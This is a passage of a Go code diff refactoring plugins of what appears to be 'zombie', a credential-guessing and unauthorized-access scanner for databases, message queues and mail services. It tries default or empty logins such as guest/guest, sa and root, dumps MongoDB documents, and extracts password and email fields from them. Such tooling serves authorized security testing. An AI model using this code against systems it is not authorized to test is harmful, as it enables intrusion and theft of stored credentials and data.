normalized := make([]string, 0, len(patterns)) + for _, pattern := range patterns { + if pattern = strings.ToLower(strings.TrimSpace(pattern)); pattern != "" { + normalized = append(normalized, pattern) + } + } + if len(normalized) == 0 { + return nil, nil + } + + var document bson.M + if err := bson.Unmarshal(raw, &document); err != nil { + return nil, err + } + var fields []string + collectMatchingFields(document, "", normalized, &fields) + return fields, nil +} + +func collectMatchingFields(value interface{}, prefix string, patterns []string, fields *[]string) { + switch typed := value.(type) { + case bson.M: + keys := make([]string, 0, len(typed)) + for key := range typed { + keys = append(keys, key) + } + sort.Strings(keys) + for _, key := range keys { + path := key + if prefix != "" { + path = prefix + "." + key + } + if matchesFieldName(key, patterns) { + *fields = append(*fields, fmt.Sprintf("%s: %v", path, typed[key])) + continue + } + collectMatchingFields(typed[key], path, patterns, fields) + } + case bson.A: + for _, item := range typed { + collectMatchingFields(item, prefix, patterns, fields) + } + case []interface{}: + for _, item := range typed { + collectMatchingFields(item, prefix, patterns, fields) + } + } +} + +func matchesFieldName(field string, patterns []string) bool { + field = strings.ToLower(field) + for _, pattern := range patterns { + if strings.Contains(field, pattern) { + return true + } + } + return false +} diff --git a/plugin/mongo/audit_test.go b/plugin/mongo/audit_test.go new file mode 100644 index 0000000..c9cc44f --- /dev/null +++ b/plugin/mongo/audit_test.go @@ -0,0 +1,52 @@ +package mongo + +import ( + "strings" + "testing" + + "go.mongodb.org/mongo-driver/bson" +) + +func TestMatchingDocumentFieldsFiltersByFieldName(t *testing.T) { + raw, err := bson.Marshal(bson.M{ + "username": "alice", + "password": "secret", + "profile": bson.M{ + "email": "alice@example.com", + "city": "Shanghai", + }, + }) + if err != nil { + t.Fatal(err) + } + + fields, err := matchingDocumentFields(raw, []string{"password", "email"}) + if err != nil { + t.Fatalf("matchingDocumentFields: %v", err) + } + joined := strings.Join(fields, "\n") + for _, want := range []string{"password: secret", "profile.email: alice@example.com"} { + if !strings.Contains(joined, want) { + t.Fatalf("matched fields %q do not contain %q", joined, want) + } + } + for _, unwanted := range []string{"username", "profile.city"} { + if strings.Contains(joined, unwanted) { + t.Fatalf("matched fields %q unexpectedly contain %q", joined, unwanted) + } + } +} + +func TestMatchingDocumentFieldsReturnsEmptyWithoutPatterns(t *testing.T) { + raw, err := bson.Marshal(bson.M{"password": "secret"}) + if err != nil { + t.Fatal(err) + } + fields, err := matchingDocumentFields(raw, nil) + if err != nil { + t.Fatal(err) + } + if len(fields) != 0 { + t.Fatalf("matched fields = %#v, want empty", fields) + } +} diff --git a/plugin/mongo/mongo.go b/plugin/mongo/mongo.go index 3794f66..b5c8635 100644 --- a/plugin/mongo/mongo.go +++ b/plugin/mongo/mongo.go @@ -1,90 +1,169 @@ package mongo import ( + "context" "fmt" + "strings" + "time" + "github.com/chainreactors/zombie/pkg" + "go.mongodb.org/mongo-driver/bson" "go.mongodb.org/mongo-driver/mongo" "go.mongodb.org/mongo-driver/mongo/options" - "time" ) -type MongoPlugin struct { - *pkg.Task - Input string - conn *mongo.Client +type mongoSession struct { + service string + client *mongo.Client + ctx context.Context } -func (s *MongoPlugin) Unauth() (bool, error) { - //var err error - //var url string - // - //if s.Password == "" { - // url = fmt.Sprintf("mongodb://%v:%v", s.IP, s.Port) - //} else { - // url = fmt.Sprintf("mongodb://%v:%v@%v:%v", "mongodbuser", s.Password, s.IP, s.Port) - //} - //clientOptions := options.Client().ApplyURI(url).SetConnectTimeout(time.Duration(s.Timeout) * time.Second) - // - //// 连接到MongoDB - //client, err := mongo.Connect(s.Context, clientOptions) - //if err != nil { - // return false, err - //} - //s.conn = client - //err = s.conn.Ping(s.Context, nil) - //if err != nil { - // return false, err - //} - // - //return true, nil - return false, pkg.NotImplUnauthorized -} +func (s *mongoSession) Service() string { return s.service } -func (s *MongoPlugin) Name() string { - return s.Service +func (s *mongoSession) Close() error { + if s.client != nil { + return s.client.Disconnect(s.ctx) + } + return nil } -func (s *MongoPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} +func (s *mongoSession) Query(query string, args ...any) ([][]string, error) { + query = strings.TrimSpace(query) -func (s *MongoPlugin) Login() error { - var err error - var url string + parts := strings.SplitN(query, " ", 2) + cmd := parts[0] - if s.Password == "" { - url = fmt.Sprintf("mongodb://%v:%v", s.IP, s.Port) - } else { - url = fmt.Sprintf("mongodb://%v:%v@%v:%v", s.Username, s.Password, s.IP, s.Port) + switch strings.ToLower(cmd) { + case "show": + if len(parts) > 1 && strings.HasPrefix(strings.ToLower(parts[1]), "db") { + dbs, err := s.client.ListDatabaseNames(s.ctx, bson.D{}) + if err != nil { + return nil, err + } + rows := [][]string{{"database"}} + for _, db := range dbs { + rows = append(rows, []string{db}) + } + return rows, nil + } + if len(parts) > 1 && strings.HasPrefix(strings.ToLower(parts[1]), "collection") { + dbName := strings.TrimSpace(strings.TrimPrefix(strings.ToLower(parts[1]), "collections")) + if dbName == "" { + dbName = "test" + } + colls, err := s.client.Database(dbName).ListCollectionNames(s.ctx, bson.D{}) + if err != nil { + return nil, err + } + rows := [][]string{{"database", "collection"}} + for _, c := range colls { + rows = append(rows, []string{dbName, c}) + } + return rows, nil + } + case "find": + return s.execFind(parts) } - clientOptions := options.Client().ApplyURI(url).SetConnectTimeout(time.Duration(s.Timeout) * time.Second) - // 连接到MongoDB - client, err := mongo.Connect(s.Context, clientOptions) + cmdDoc := bson.D{{Key: cmd, Value: 1}} + if len(parts) > 1 { + cmdDoc = append(cmdDoc, bson.E{Key: "arg", Value: parts[1]}) + } + result := s.client.Database("admin").RunCommand(s.ctx, cmdDoc) + if result.Err() != nil { + return nil, result.Err() + } + raw, err := result.DecodeBytes() if err != nil { - return err + return nil, err + } + return [][]string{{"result"}, {raw.String()}}, nil +} + +// execFind handles "FIND db.collection [limit]". +// Returns one row per document, serialized as JSON. +func (s *mongoSession) execFind(parts []string) ([][]string, error) { + if len(parts) < 2 { + return nil, fmt.Errorf("FIND requires db.collection [limit]") + } + args := strings.Fields(parts[1]) + if len(args) == 0 { + return nil, fmt.Errorf("FIND requires db.collection [limit]") + } + target := args[0] + dotIdx := strings.IndexByte(target, '.') + if dotIdx < 0 { + return nil, fmt.Errorf("FIND target must be db.collection, got %q", target) + } + dbName := target[:dotIdx] + collName := target[dotIdx+1:] + + limit := int64(100) + if len(args) > 1 { + if n, err := fmt.Sscanf(args[1], "%d", &limit); err != nil || n != 1 { + limit = 100 + } } - s.conn = client - err = s.conn.Ping(s.Context, nil) + + opts := options.Find().SetLimit(limit) + cursor, err := s.client.Database(dbName).Collection(collName).Find(s.ctx, bson.D{}, opts) if err != nil { - return err + return nil, err } + defer cursor.Close(s.ctx) - return nil + rows := [][]string{{"document"}} + for cursor.Next(s.ctx) { + rows = append(rows, []string{cursor.Current.String()}) + } + return rows, nil } -func (s *MongoPlugin) Close() error { - if s.conn != nil { - return s.conn.Disconnect(s.Context) +type MongoPlugin struct{} + +func (p *MongoPlugin) Open(task *pkg.Task) (pkg.Session, error) { + var url string + if task.Password == "" { + url = fmt.Sprintf("mongodb://%v:%v", task.IP, task.Port) + } else { + url = fmt.Sprintf("mongodb://%v:%v@%v:%v", task.Username, task.Password, task.IP, task.Port) } - return nil + // SetServerSelectionTimeout 限制 server selection / 命令等待,否则只 SetConnectTimeout + // 在过滤端口上仍会按驱动默认 30s 阻塞,超出 task.Timeout。 + timeout := time.Duration(task.Timeout) * time.Second + clientOptions := options.Client().ApplyURI(url). + SetConnectTimeout(timeout). + SetServerSelectionTimeout(timeout) + + client, err := mongo.Connect(task.Context, clientOptions) + if err != nil { + return nil, err + } + if err := client.Ping(task.Context, nil); err != nil { + client.Disconnect(task.Context) + return nil, err + } + return &mongoSession{service: task.Service, client: client, ctx: task.Context}, nil } -//func (s *MongoPlugin) SetQuery(query string) { -// s.Input = query -//} -// -//func (s *MongoPlugin) Output(res interface{}) { -// -//} +// Unauth 以无凭据连接,并执行需要鉴权的 listDatabases 来证明“未授权可访问”。 +// 只用 Ping 不够:mongo 的 ping 命令在开启鉴权的实例上同样放行,会把需鉴权实例 +// 误报为未授权;listDatabases 在开启鉴权时返回 Unauthorized 错误,从而正确区分 +// 真正的无认证实例(返回会话=命中)与需鉴权实例(返回错误=未命中)。 +func (p *MongoPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + url := fmt.Sprintf("mongodb://%v:%v", task.IP, task.Port) + timeout := time.Duration(task.Timeout) * time.Second + clientOptions := options.Client().ApplyURI(url). + SetConnectTimeout(timeout). + SetServerSelectionTimeout(timeout) + + client, err := mongo.Connect(task.Context, clientOptions) + if err != nil { + return nil, err + } + if _, err := client.ListDatabaseNames(task.Context, bson.D{}); err != nil { + client.Disconnect(task.Context) + return nil, err + } + return &mongoSession{service: task.Service, client: client, ctx: task.Context}, nil +} diff --git a/plugin/mq/amqp.go b/plugin/mq/amqp.go index 7e91ba1..8213804 100644 --- a/plugin/mq/amqp.go +++ b/plugin/mq/amqp.go @@ -6,41 +6,36 @@ import ( "github.com/streadway/amqp" ) -type AMQPPlugin struct { - *pkg.Task - conn *amqp.Connection +// amqpSession implements pkg.Session over an AMQP connection. +type amqpSession struct { + service string + conn *amqp.Connection } -func (s *AMQPPlugin) Name() string { - return s.Service -} +func (s *amqpSession) Service() string { return s.service } -func (s *AMQPPlugin) Unauth() (bool, error) { - conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", "guest", "guest", s.IP, s.Port)) - if err != nil { - return false, err +func (s *amqpSession) Close() error { + if s.conn != nil { + return s.conn.Close() } - s.conn = conn - return true, nil + return nil } -func (s *AMQPPlugin) Login() error { - conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", s.Username, s.Password, s.IP, s.Port)) +// AMQPPlugin is stateless; all connection state lives in amqpSession. +type AMQPPlugin struct{} + +func (p *AMQPPlugin) Open(task *pkg.Task) (pkg.Session, error) { + conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", task.Username, task.Password, task.IP, task.Port)) if err != nil { - return err + return nil, err } - s.conn = conn - return nil + return &amqpSession{service: task.Service, conn: conn}, nil } -func (s *AMQPPlugin) GetResult() *pkg.Result { - // todo list queues - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *AMQPPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() +func (p *AMQPPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", "guest", "guest", task.IP, task.Port)) + if err != nil { + return nil, err } - return nil + return &amqpSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/mq/mqtt.go b/plugin/mq/mqtt.go index dfb1162..0eb0c93 100644 --- a/plugin/mq/mqtt.go +++ b/plugin/mq/mqtt.go @@ -6,43 +6,38 @@ import ( mqtt "github.com/eclipse/paho.mqtt.golang" ) -type MQTTPlugin struct { - *pkg.Task - client mqtt.Client +// mqttSession implements pkg.Session over an MQTT client connection. +type mqttSession struct { + service string + client mqtt.Client } -func (s *MQTTPlugin) Name() string { - return s.Service -} +func (s *mqttSession) Service() string { return s.service } -func (s *MQTTPlugin) Unauth() (bool, error) { - opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", s.IP, s.Port)) - client := mqtt.NewClient(opts) - if token := client.Connect(); token.Wait() && token.Error() != nil { - return false, token.Error() +func (s *mqttSession) Close() error { + if s.client != nil { + s.client.Disconnect(250) } - s.client = client - return true, nil + return nil } -func (s *MQTTPlugin) Login() error { - opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", s.IP, s.Port)).SetUsername(s.Username).SetPassword(s.Password) +// MQTTPlugin is stateless; all connection state lives in mqttSession. +type MQTTPlugin struct{} + +func (p *MQTTPlugin) Open(task *pkg.Task) (pkg.Session, error) { + opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", task.IP, task.Port)).SetUsername(task.Username).SetPassword(task.Password) client := mqtt.NewClient(opts) if token := client.Connect(); token.Wait() && token.Error() != nil { - return token.Error() + return nil, token.Error() } - s.client = client - return nil + return &mqttSession{service: task.Service, client: client}, nil } -func (s *MQTTPlugin) GetResult() *pkg.Result { - // todo list topics - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *MQTTPlugin) Close() error { - if s.client != nil { - s.client.Disconnect(250) +func (p *MQTTPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", task.IP, task.Port)) + client := mqtt.NewClient(opts) + if token := client.Connect(); token.Wait() && token.Error() != nil { + return nil, token.Error() } - return nil + return &mqttSession{service: task.Service, client: client}, nil } diff --git a/plugin/mssql/mssql.go b/plugin/mssql/mssql.go index 4935867..79b111c 100644 --- a/plugin/mssql/mssql.go +++ b/plugin/mssql/mssql.go @@ -3,70 +3,42 @@ package mssql import ( "database/sql" "fmt" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" _ "github.com/denisenkom/go-mssqldb" ) -type MssqlPlugin struct { - *pkg.Task - //MssqlInf - //Input string - Instance string - conn *sql.DB -} - -func (s *MssqlPlugin) Name() string { - return s.Service -} - -func (s *MssqlPlugin) Login() error { - if s.Instance == "" { - s.Instance = "master" - } - dataSourceName := fmt.Sprintf("server=%s;port=%s;user id=%s;password=%s;database=%s;connection timeout=%d;encrypt=disable", s.IP, - s.Port, s.Username, s.Password, s.Instance, s.Timeout) - - //time.Duration(Utils.Timeout)*time.Second - conn, err := sql.Open("mssql", dataSourceName) - if err != nil { - return err - } +// MssqlPlugin is a stateless factory that satisfies the Plugin interface. +type MssqlPlugin struct{} - err = conn.Ping() - if err != nil { - return err +// Open authenticates with the credentials from task and returns a SQLSession. +func (MssqlPlugin) Open(task *pkg.Task) (pkg.Session, error) { + instance := task.Param["instance"] + if instance == "" { + instance = "master" } + return dial(task, task.Username, task.Password, instance) +} - s.conn = conn - return nil +// Unauth attempts an unauthenticated connection using sa with an empty password. +func (MssqlPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "sa", "", "master") } -func (s *MssqlPlugin) Unauth() (bool, error) { - dataSourceName := fmt.Sprintf("server=%s;port=%s;user id=%s;password=%v;database=%v;connection timeout=%v;encrypt=disable", s.IP, - s.Port, "sa", "", "master", s.Timeout) +func dial(task *pkg.Task, user, password, instance string) (pkg.Session, error) { + dsn := fmt.Sprintf("server=%s;port=%s;user id=%s;password=%s;database=%s;connection timeout=%d;encrypt=disable", + task.IP, task.Port, user, password, instance, task.Timeout) - //time.Duration(Utils.Timeout)*time.Second - conn, err := sql.Open("mssql", dataSourceName) + db, err := sql.Open("mssql", dsn) if err != nil { - return false, err + return nil, err } - err = conn.Ping() - if err != nil { - return false, err + if err := db.Ping(); err != nil { + _ = db.Close() + return nil, err } - s.conn = conn - return true, nil -} -func (s *MssqlPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *MssqlPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil + return &sqlsess.Session{DB: db, SvcName: "mssql"}, nil } diff --git a/plugin/mysql/mysql.go b/plugin/mysql/mysql.go index 0d82cd0..4b3c1c1 100644 --- a/plugin/mysql/mysql.go +++ b/plugin/mysql/mysql.go @@ -3,74 +3,50 @@ package mysql import ( "database/sql" "fmt" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" "github.com/go-sql-driver/mysql" _ "github.com/go-sql-driver/mysql" ) -type nilLog struct { -} +type nilLog struct{} -func (l nilLog) Print(v ...interface{}) { +func (nilLog) Print(v ...interface{}) {} -} +// MysqlPlugin is a stateless factory that satisfies the Plugin interface. +type MysqlPlugin struct{} -type MysqlPlugin struct { - *pkg.Task - input string - conn *sql.DB +// Open authenticates with the credentials from task and returns a SQLSession. +func (MysqlPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Username, task.Password) } -func (s *MysqlPlugin) Name() string { - return s.Service +// Unauth attempts an unauthenticated connection (root with empty password). +func (MysqlPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "root", "") } -func (s *MysqlPlugin) Unauth() (bool, error) { - // mysql none pass +// dial builds a MySQL DSN, connects, pings, and wraps the *sql.DB in a +// sqlsess.Session so it satisfies pkg.SQLSession. +func dial(task *pkg.Task, user, pass string) (pkg.Session, error) { mysql.SetLogger(nilLog{}) - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/?timeout=%ds&readTimeout=%ds&writeTimeout=%ds&charset=utf8", "root", - "", s.IP, s.Port, s.Timeout, s.Timeout, s.Timeout) - conn, err := sql.Open("mysql", dataSourceName) - if err != nil { - return false, err - } - //conn.SetMaxOpenConns(60) - //conn.SetMaxIdleConns(60) + dsn := fmt.Sprintf("%v:%v@tcp(%v:%v)/?timeout=%ds&readTimeout=%ds&writeTimeout=%ds&charset=utf8", + user, pass, task.IP, task.Port, task.Timeout, task.Timeout, task.Timeout) - err = conn.Ping() + db, err := sql.Open("mysql", dsn) if err != nil { - return false, err + return nil, err } - s.conn = conn - return true, nil -} -func (s *MysqlPlugin) Login() error { - mysql.SetLogger(nilLog{}) - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/?timeout=%ds&readTimeout=%ds&writeTimeout=%ds&charset=utf8", s.Username, - s.Password, s.IP, s.Port, s.Timeout, s.Timeout, s.Timeout) - conn, err := sql.Open("mysql", dataSourceName) - if err != nil { - return err + if err := db.Ping(); err != nil { + _ = db.Close() + return nil, err } - err = conn.Ping() - if err != nil { - return err - } - s.conn = conn - return nil -} - -func (s *MysqlPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *MysqlPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil + return &sqlsess.Session{ + DB: db, + SvcName: "mysql", + }, nil } diff --git a/plugin/neutron/neutron.go b/plugin/neutron/neutron.go index 4bb0c9e..03c306b 100644 --- a/plugin/neutron/neutron.go +++ b/plugin/neutron/neutron.go @@ -3,6 +3,7 @@ package neutron import ( "errors" "fmt" + "github.com/chainreactors/logs" neutroncommon "github.com/chainreactors/neutron/common" templates "github.com/chainreactors/neutron/templates" @@ -19,55 +20,45 @@ func init() { } } -type NeutronPlugin struct { - *pkg.Task - Service string - Host string +type neutronSession struct { + service string } -func (s *NeutronPlugin) Name() string { - return s.Service -} +func (s *neutronSession) Service() string { return s.service } +func (s *neutronSession) Close() error { return nil } -func (s *NeutronPlugin) Unauth() (bool, error) { - if template, ok := pkg.TemplateMap[s.Service]; ok { - var err error - var usr, pwd string - usr, pwd, err = NeutronScan(s.Scheme, s.Address(), nil, template) - if err != nil { - return false, err - } +type NeutronPlugin struct{} - s.Task.Username = usr - s.Task.Password = pwd - return true, nil +func (p *NeutronPlugin) Open(task *pkg.Task) (pkg.Session, error) { + template, ok := pkg.TemplateMap[task.Service] + if !ok { + return nil, errors.New("no template found") } - return false, errors.New("no template found") -} - -func (s *NeutronPlugin) Login() error { - if template, ok := pkg.TemplateMap[s.Service]; ok { - _, _, err := NeutronScan(s.Scheme, - s.Address(), - map[string]interface{}{ - "username": s.Username, - "password": s.Password, - }, - template) - if err != nil { - return err - } - return nil + _, _, err := NeutronScan(task.Scheme, + task.Address(), + map[string]interface{}{ + "username": task.Username, + "password": task.Password, + }, + template) + if err != nil { + return nil, err } - return errors.New("no template found") -} - -func (s *NeutronPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + return &neutronSession{service: task.Service}, nil } -func (s *NeutronPlugin) Close() error { - return nil +func (p *NeutronPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + template, ok := pkg.TemplateMap[task.Service] + if !ok { + return nil, errors.New("no template found") + } + usr, pwd, err := NeutronScan(task.Scheme, task.Address(), nil, template) + if err != nil { + return nil, err + } + task.Username = usr + task.Password = pwd + return &neutronSession{service: task.Service}, nil } func NeutronScan(scheme, target string, payload map[string]interface{}, template *templates.Template) (string, string, error) { @@ -86,10 +77,10 @@ func NeutronScan(scheme, target string, payload map[string]interface{}, template return "", "", err } if res == nil { - return "", "", errors.New(fmt.Sprintf("nil result, %s", template.Id)) + return "", "", fmt.Errorf("nil result, %s", template.Id) } if !res.Matched { - return "", "", errors.New(fmt.Sprintf("not matched, %s", template.Id)) + return "", "", fmt.Errorf("not matched, %s", template.Id) } return iutils.ToString(res.PayloadValues["username"]), iutils.ToString(res.PayloadValues["password"]), nil } diff --git a/plugin/oracle/oracle.go b/plugin/oracle/oracle.go index ef3b3c1..7ab66ed 100644 --- a/plugin/oracle/oracle.go +++ b/plugin/oracle/oracle.go @@ -3,75 +3,64 @@ package oracle import ( "database/sql" "fmt" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" _ "github.com/sijms/go-ora/v2" ) -type OraclePlugin struct { - *pkg.Task - //Input string - SID string - ServiceName string - conn *sql.DB +// OraclePlugin is a stateless factory that satisfies the Plugin interface. +type OraclePlugin struct{} + +// Open authenticates with the credentials from task and returns a SQLSession. +// It supports two modes: service_name (if task.Param["service_name"] is set) +// or SID (task.Param["sid"], defaulting to "orcl"). +func (OraclePlugin) Open(task *pkg.Task) (pkg.Session, error) { + if sn := task.Param["service_name"]; sn != "" { + return dialServiceName(task, sn) + } + sid := task.Param["sid"] + if sid == "" { + sid = "orcl" + } + return dialSID(task, sid) } -func (s *OraclePlugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized +// Unauth is not implemented for Oracle. +func (OraclePlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } -func (s *OraclePlugin) Login() error { - var err error - if s.ServiceName != "" { - s.conn, err = serviceNameLogin(s.Task, s.ServiceName) - } else { - s.conn, err = sidLogin(s.Task, s.SID) - } +func dialSID(task *pkg.Task, sid string) (pkg.Session, error) { + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connection_timeout=%d&connection_pool_timeout=%d", + task.Username, task.Password, task.IP, task.Port, sid, task.Timeout, task.Timeout) - err = s.conn.Ping() + db, err := sql.Open("oracle", connStr) if err != nil { - return err + return nil, err } - return err -} - -func (s *OraclePlugin) Close() error { - if s.conn != nil { - return s.conn.Close() + if err := db.Ping(); err != nil { + _ = db.Close() + return nil, err } - return nil -} - -func (s *OraclePlugin) Name() string { - return s.Service -} -func (s *OraclePlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &sqlsess.Session{DB: db, SvcName: "oracle"}, nil } -func sidLogin(task *pkg.Task, sid string) (*sql.DB, error) { - if sid == "" { - sid = "orcl" - } - connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connection_timeout=%d&connection_pool_timeout=%d", task.Username, - task.Password, task.IP, task.Port, sid, task.Timeout, task.Timeout) +func dialServiceName(task *pkg.Task, serviceName string) (pkg.Session, error) { + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/?service_name=%s&connection_timeout=%d&connection_pool_timeout=%d", + task.Username, task.Password, task.IP, task.Port, serviceName, task.Timeout, task.Timeout) - conn, err := sql.Open("oracle", connStr) + db, err := sql.Open("oracle", connStr) if err != nil { return nil, err } - return conn, nil -} - -func serviceNameLogin(task *pkg.Task, serviceName string) (*sql.DB, error) { - connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/?service_name=%s&connection_timeout=%d&connection_pool_timeout=%d", task.Username, - task.Password, task.IP, task.Port, serviceName, task.Timeout, task.Timeout) - conn, err := sql.Open("oracle", connStr) - if err != nil { + if err := db.Ping(); err != nil { + _ = db.Close() return nil, err } - return conn, nil + + return &sqlsess.Session{DB: db, SvcName: "oracle"}, nil } diff --git a/plugin/plugin.go b/plugin/plugin.go new file mode 100644 index 0000000..af2fa3c --- /dev/null +++ b/plugin/plugin.go @@ -0,0 +1,13 @@ +package plugin + +import "github.com/chainreactors/zombie/pkg" + +type Plugin interface { + Open(*pkg.Task) (pkg.Session, error) +} + +type UnauthPlugin interface { + Unauth(*pkg.Task) (pkg.Session, error) +} + +type Service = pkg.Service diff --git a/plugin/plugin_test.go b/plugin/plugin_test.go new file mode 100644 index 0000000..4913060 --- /dev/null +++ b/plugin/plugin_test.go @@ -0,0 +1,52 @@ +package plugin_test + +import ( + "errors" + "testing" + + "github.com/chainreactors/zombie/core" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" +) + +type sdkPlugin struct{} + +func (sdkPlugin) Open(*pkg.Task) (pkg.Session, error) { + return nil, errors.New("not implemented") +} + +func TestRunnerOwnsPluginRegistry(t *testing.T) { + first := core.NewRunner(core.NewDefaultRunnerOption()) + second := core.NewRunner(core.NewDefaultRunnerOption()) + if _, ok := first.Plugins["redis"]; !ok { + t.Fatal("built-in redis plugin is missing") + } + + custom := sdkPlugin{} + if err := first.RegisterService(plugin.Service{ + Name: "SDK-Custom", + Alias: []string{"SDK-Alias"}, + DefaultPort: "4242", + }, custom); err != nil { + t.Fatalf("RegisterService: %v", err) + } + if _, ok := first.Plugins["sdk-custom"]; !ok { + t.Fatal("custom plugin is missing from its runner") + } + if _, ok := first.Plugins["sdk-alias"]; !ok { + t.Fatal("custom plugin alias is missing from its runner") + } + if _, ok := second.Plugins["sdk-custom"]; ok { + t.Fatal("custom plugin leaked into another runner") + } + if err := first.RegisterService(plugin.Service{Name: "sdk-custom"}, custom); err == nil { + t.Fatal("duplicate custom service registration succeeded") + } +} + +func TestUnauthPluginIsOptional(t *testing.T) { + var p plugin.Plugin = sdkPlugin{} + if _, ok := p.(plugin.UnauthPlugin); ok { + t.Fatal("Open-only plugin unexpectedly implements UnauthPlugin") + } +} diff --git a/plugin/pop3/pop3.go b/plugin/pop3/pop3.go index 742b84a..dcfcc36 100644 --- a/plugin/pop3/pop3.go +++ b/plugin/pop3/pop3.go @@ -6,56 +6,46 @@ import ( "strconv" ) -type Pop3Plugin struct { - *pkg.Task +// pop3Session implements pkg.Session over an authenticated POP3 connection. +type pop3Session struct { + service string + conn *pop3.Conn } -func (s *Pop3Plugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized +func (s *pop3Session) Service() string { return s.service } + +func (s *pop3Session) Close() error { + if s.conn != nil { + return s.conn.Quit() + } + return nil } -func (s *Pop3Plugin) Login() error { - port, _ := strconv.Atoi(s.Port) +// Pop3Plugin is stateless; all connection state lives in pop3Session. +type Pop3Plugin struct{} - p := pop3.New(pop3.Opt{ - Host: s.IP, +func (p *Pop3Plugin) Open(task *pkg.Task) (pkg.Session, error) { + port, _ := strconv.Atoi(task.Port) + + pp := pop3.New(pop3.Opt{ + Host: task.IP, Port: port, TLSEnabled: false, }) - c, err := p.NewConn() + c, err := pp.NewConn() if err != nil { - return err + return nil, err } - defer c.Quit() - // Authenticate. - if err := c.Auth(s.Username, s.Password); err != nil { - return err + if err := c.Auth(task.Username, task.Password); err != nil { + c.Quit() + return nil, err } - return nil - + return &pop3Session{service: task.Service, conn: c}, nil } -func (s *Pop3Plugin) Name() string { - return s.Service +func (p *Pop3Plugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } - -func (s *Pop3Plugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *Pop3Plugin) Close() error { - return nil -} - -// -//func (s *Pop3Plugin) SetQuery(query string) { -// //s.Input = query -//} -// -//func (s *Pop3Plugin) Output(res interface{}) { -// -//} diff --git a/plugin/postgre/postgre.go b/plugin/postgre/postgre.go index 4559f9b..bcda85d 100644 --- a/plugin/postgre/postgre.go +++ b/plugin/postgre/postgre.go @@ -3,159 +3,56 @@ package postgre import ( "database/sql" "fmt" + "strings" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" _ "github.com/lib/pq" - "strings" ) -type PostgresPlugin struct { - *pkg.Task - Dbname string - //PostgreInf - //Input string - conn *sql.DB +// PostgresPlugin is stateless; all connection state lives in sqlsess.Session. +type PostgresPlugin struct{} + +// Open authenticates with the credentials from task and returns a SQLSession. +func (PostgresPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Username, task.Password) } -func (s *PostgresPlugin) Login() error { - if s.Dbname == "" { - s.Dbname = "postgres" - } - dataSourceName := strings.Join([]string{ - fmt.Sprintf("connect_timeout=%d", s.Timeout), - fmt.Sprintf("dbname=%s", s.Dbname), - fmt.Sprintf("host=%v", s.IP), - fmt.Sprintf("password=%v", s.Password), - fmt.Sprintf("port=%v", s.Port), - "sslmode=disable", - fmt.Sprintf("user=%v", s.Username), - }, " ") +// Unauth attempts an unauthenticated connection (empty user and password). +func (PostgresPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "", "") +} - conn, err := sql.Open("postgres", dataSourceName) - if err != nil { - return err +// dial builds a lib/pq DSN, opens and pings the database, then wraps it in a +// sqlsess.Session with SvcName "postgresql". +func dial(task *pkg.Task, user, password string) (pkg.Session, error) { + dbname := task.Param["dbname"] + if dbname == "" { + dbname = "postgres" } - err = conn.Ping() - if err != nil { - return err - } - s.conn = conn - return nil -} - -func (s *PostgresPlugin) Unauth() (bool, error) { - dataSourceName := strings.Join([]string{ - fmt.Sprintf("connect_timeout=%d", s.Timeout), - fmt.Sprintf("dbname=%s", s.Dbname), - fmt.Sprintf("host=%v", s.IP), - fmt.Sprintf("password=%v", ""), - fmt.Sprintf("port=%v", s.Port), + dsn := strings.Join([]string{ + fmt.Sprintf("host=%v", task.IP), + 